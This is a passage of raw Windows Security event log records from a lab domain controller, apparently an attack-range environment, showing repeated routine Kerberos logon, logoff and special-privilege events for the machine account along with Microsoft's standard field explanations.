Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249190
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFFCF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249189
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xDFFCF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64168

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249188
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFFCF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249187
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFF6E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249186
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xDFF6E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64167

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249185
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFF6E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249184
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFF08

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249183
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xDFF08
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64166

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249182
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFF08

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249181
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFEA7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249180
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xDFEA7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64165

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249179
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFEA7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249178
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFCD3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249177
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xDFCD3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64164

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249176
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xDFCD3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249202
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0554

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249201
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE0554
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64172

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249200
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE0554

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249199
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE04F3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249198
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE04F3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64171

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249197
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE04F3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249196
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE048D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249195
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE048D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64170

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249194
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE048D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249193
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE042C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249192
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE042C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64169

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249191
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE042C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249214
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE06EF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249213
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

